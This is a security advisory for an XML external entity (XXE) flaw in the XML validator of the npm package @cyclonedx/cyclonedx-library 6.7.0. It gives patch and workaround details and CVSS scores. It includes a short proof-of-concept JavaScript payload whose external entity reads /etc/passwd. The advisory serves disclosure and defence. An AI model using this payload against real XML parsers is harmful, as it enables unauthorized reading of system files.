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Improper Restriction of XML External Entity Reference in @cyclonedx/cyclonedx-library

High
jkowalleck published GHSA-38gf-rh2w-gmj7 May 8, 2024

Package

npm @cyclonedx/cyclonedx-library (npm)

Affected versions

6.7.0

Patched versions

6.7.1

Description

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1 .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

  • issue was introduced via #1063.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Restriction of XML External Entity Reference

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. Learn more on MITRE.

Credits